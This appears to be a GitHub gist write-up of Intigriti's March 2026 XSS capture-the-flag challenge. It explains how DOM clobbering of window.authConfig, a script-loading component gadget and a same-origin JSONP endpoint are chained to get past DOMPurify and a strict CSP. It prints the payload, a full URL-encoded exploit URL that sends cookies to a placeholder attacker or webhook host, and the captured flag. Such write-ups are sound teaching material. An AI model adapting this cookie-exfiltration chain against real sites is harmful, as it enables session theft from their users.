Skip to content

Instantly share code, notes, and snippets.

@dr4g0n369
Created March 21, 2026 12:28
Show Gist options
  • Select an option

  • Save dr4g0n369/046d4dddf8da7f2c8c0df0112c83a034 to your computer and use it in GitHub Desktop.

Select an option

Save dr4g0n369/046d4dddf8da7f2c8c0df0112c83a034 to your computer and use it in GitHub Desktop.
Intigriti March Challenge Writeup

Intigriti's March Challenge 0326

Description

The solution:

  • Should leverage a XSS vulnerability on the challenge page.
  • Shouldn't be self-XSS or related to MiTM attacks.
  • Should work in the latest version of Google Chrome.
  • Should require no more than 1 click from the victim.
  • Should include:
    • The flag in the format INTIGRITI{.*}
    • The payload(s) used
    • Steps to solve (short description / bullet points)
  • Should be reported on the Intigriti platform.

Get started at https://challenge-0326.intigriti.io/challenge.html

TL;DR

  • The application reflects DOMPurify-sanitized HTML from the q query parameter into the page via innerHTML. DOMPurify (v3.0.6) is configured with FORBID_ATTR: ['id', 'class', 'style'], but crucially allows name and all data-* attributes through.

  • A DOM Clobbering attack using <form name="authConfig" data-next="https://attacker.com/" data-append="true"> overrides window.authConfig, which is read by Auth.loginRedirect() to construct a redirect URL that appends document.cookie.

  • A Script Gadget in ComponentManager picks up injected <div data-component="true" data-config='...'> elements and dynamically loads a script from an attacker-controlled path on the same origin.

  • A hidden JSONP endpoint at /api/stats?callback=Auth.loginRedirect returns valid JavaScript that calls Auth.loginRedirect(), executing under script-src 'self' CSP.

  • When the admin bot visits the crafted URL, the full chain fires: DOM clobber → ComponentManager loads JSONP script → Auth.loginRedirect() reads clobbered config → browser redirects to attacker server with cookies in the URL.

Payload:

<form name="authConfig" data-next="https://attacker.com/" data-append="true"></form>
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"a"}'></div>

Flag: INTIGRITI{019cdb71-fcd4-77cc-b15f-d8a3b6d63947}

Analysis

The target is a "Secure Search Portal" themed around operational intelligence — the kind of application whose name alone tries very hard to convince you that everything is under control.

It has a single search input that takes a query parameter q, sanitizes it with DOMPurify, and reflects the result into the DOM. There's also a "Report to Admin" feature that sends a URL to a headless browser bot (the classic XSS-challenge cookie jar).

The Sanitization Layer

The search query is processed in /js/main.js:

document.addEventListener('DOMContentLoaded', () => {
    const params = new URLSearchParams(window.location.search);
    const q = params.get('q');
    const resultsContainer = document.getElementById('resultsContainer');

    if (q) {
        const cleanHTML = DOMPurify.sanitize(q, {
            FORBID_ATTR: ['id', 'class', 'style'],
            KEEP_CONTENT: true
        });
        resultsContainer.innerHTML = `<p>Results for: <span class="search-term-highlight">${cleanHTML}</span></p>
                                      <p style="margin-top: 10px; color: #64748b;">No matching records found...</p>`;
    }

    if (window.ComponentManager) {
        window.ComponentManager.init();
    }
});

DOMPurify v3.0.6 is used — a version known to be vulnerable to CVE-2024-47875 (mutation XSS via deep nesting) and CVE-2024-45801 (prototype pollution). These are tempting rabbit holes, and I spent considerable time exploring them. Deep nesting mXSS at ~510 <div> depth does cause DOM mutations, but DOMPurify still sanitizes the resulting elements — onerror handlers get stripped, <script> and <base> tags get removed. These CVEs turned out to be red herrings for this particular challenge.

The real vulnerability is much more subtle: the FORBID_ATTR config only blocks id, class, and style. Everything else — including name and data-* attributes — passes through untouched. This is the crack in the wall.

The Auth Redirect Gadget

In /js/components.js, there's a pre-defined Auth.loginRedirect() function:

window.Auth = window.Auth || {};

window.Auth.loginRedirect = function (data) {
    let config = window.authConfig || {
        dataset: { next: '/', append: 'false' }
    };

    let redirectUrl = config.dataset.next || '/';

    if (config.dataset.append === 'true') {
        let delimiter = redirectUrl.includes('?') ? '&' : '?';
        redirectUrl += delimiter + "token=" + encodeURIComponent(document.cookie);
    }

    window.location.href = redirectUrl;
};

This function reads from window.authConfig — and if dataset.append is 'true', it appends document.cookie to the redirect URL. If an attacker can control window.authConfig, they control where the cookies go.

Normally, window.authConfig is undefined (no element with that name exists in the default page). The fallback redirects to / without cookies. But what if we could create an element that defines window.authConfig?

DOM Clobbering

Named HTML elements automatically register as properties on the window object. A <form> element with name="authConfig" will set window.authConfig to point to that DOM element. And DOM elements expose their data-* attributes via the .dataset property.

So injecting:

<form name="authConfig" data-next="https://attacker.com/" data-append="true"></form>

sets window.authConfig.dataset.next to "https://attacker.com/" and window.authConfig.dataset.append to "true".

DOMPurify allows <form> elements. It allows name attributes. It allows data-* attributes. The clobber sails through sanitization without a scratch.

Now we control where Auth.loginRedirect() sends the cookies. But we still need someone to call it.

The ComponentManager Script Gadget

Also in /js/components.js:

class ComponentManager {
    static init() {
        document.querySelectorAll('[data-component="true"]').forEach(element => {
            this.loadComponent(element);
        });
    }

    static loadComponent(element) {
        try {
            let rawConfig = element.getAttribute('data-config');
            if (!rawConfig) return;

            let config = JSON.parse(rawConfig);
            let basePath = config.path || '/components/';
            let compType = config.type || 'default';
            let scriptUrl = basePath + compType + '.js';

            let s = document.createElement('script');
            s.src = scriptUrl;
            document.head.appendChild(s);
        } catch (e) {}
    }
}

After the sanitized HTML is injected into the DOM, main.js calls ComponentManager.init(). This scans the DOM for any element with data-component="true", reads its data-config JSON, and dynamically creates a <script> tag with a URL built from config.path + config.type + '.js'.

Since DOMPurify allows data-component and data-config attributes, an attacker can inject:

<div data-component="true" data-config='{"path":"/some/path","type":"name"}'></div>

ComponentManager will happily load /some/path/name.js as a script. But there's a constraint: the CSP is strict:

script-src 'self'

The loaded script must come from the same origin. We can't point to an external server. We need a same-origin endpoint that returns attacker-controlled JavaScript.

The Hidden JSONP Endpoint

This is where the challenge's hint comes in: "find the hidden api endpoint that lets you choose the callback."

Fuzzing the server reveals /api/stats — an endpoint that returns 400 with {"error":"Invalid callback identifier"} when no callback is provided, but with a callback parameter:

GET /api/stats?callback=Auth.loginRedirect

returns:

Auth.loginRedirect({"users":1337,"active":42,"status":"Operational"});

A classic JSONP endpoint — same-origin, returning valid JavaScript, with an attacker-controlled function name. This is the key that unlocks the entire chain.

Exploit

Putting it all together

The full payload combines all three primitives:

<form name="authConfig" data-next="https://attacker.com/" data-append="true"></form>
<div data-component="true" data-config='{"path":"/api/stats?callback=Auth.loginRedirect&x=","type":"a"}'></div>

The data-config JSON is crafted so that ComponentManager constructs the URL:

/api/stats?callback=Auth.loginRedirect&x=a.js

The &x=a.js suffix is harmless junk — the JSONP endpoint ignores the extra parameter, but ComponentManager needs the URL to end with .js (since it concatenates type + '.js').

The attack flow

  1. Victim (admin bot) opens the crafted URL with the payload in the q parameter.
  2. DOMPurify sanitizes the HTML — <form> and <div> with data-* attributes pass through cleanly.
  3. The sanitized HTML is injected into the DOM via innerHTML.
  4. window.authConfig is now clobbered by the injected <form> element.
  5. ComponentManager.init() finds the <div data-component="true"> element.
  6. ComponentManager creates a <script src="/api/stats?callback=Auth.loginRedirect&x=a.js"> tag.
  7. The browser loads the JSONP endpoint (same-origin, passes CSP).
  8. The response Auth.loginRedirect({"users":1337,...}); executes.
  9. Auth.loginRedirect() reads the clobbered window.authConfig:
    • dataset.nexthttps://attacker.com/
    • dataset.append"true"
  10. The function redirects to https://attacker.com/?token=FLAG%3DINTIGRITI%7B...%7D.

Delivering the exploit

The final exploit URL, with the payload URL-encoded in the q parameter:

https://challenge-0326.intigriti.io/challenge.html?q=%3Cform%20name%3D%22authConfig%22%20data-next%3D%22https%3A//webhook.site/ATTACKER-UUID%22%20data-append%3D%22true%22%3E%3C/form%3E%3Cdiv%20data-component%3D%22true%22%20data-config%3D%27%7B%22path%22%3A%22/api/stats%3Fcallback%3DAuth.loginRedirect%26x%3D%22%2C%22type%22%3A%22a%22%7D%27%3E%3C/div%3E

After reporting this URL to the admin bot via the "Report Anomalous Behavior" modal, the bot visits the page and the chain executes. The webhook server logs confirm the exfiltrated cookies:

GET /?token=FLAG%3DINTIGRITI%7B019cdb71-fcd4-77cc-b15f-d8a3b6d63947%7D

Flag

INTIGRITI{019cdb71-fcd4-77cc-b15f-d8a3b6d63947}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment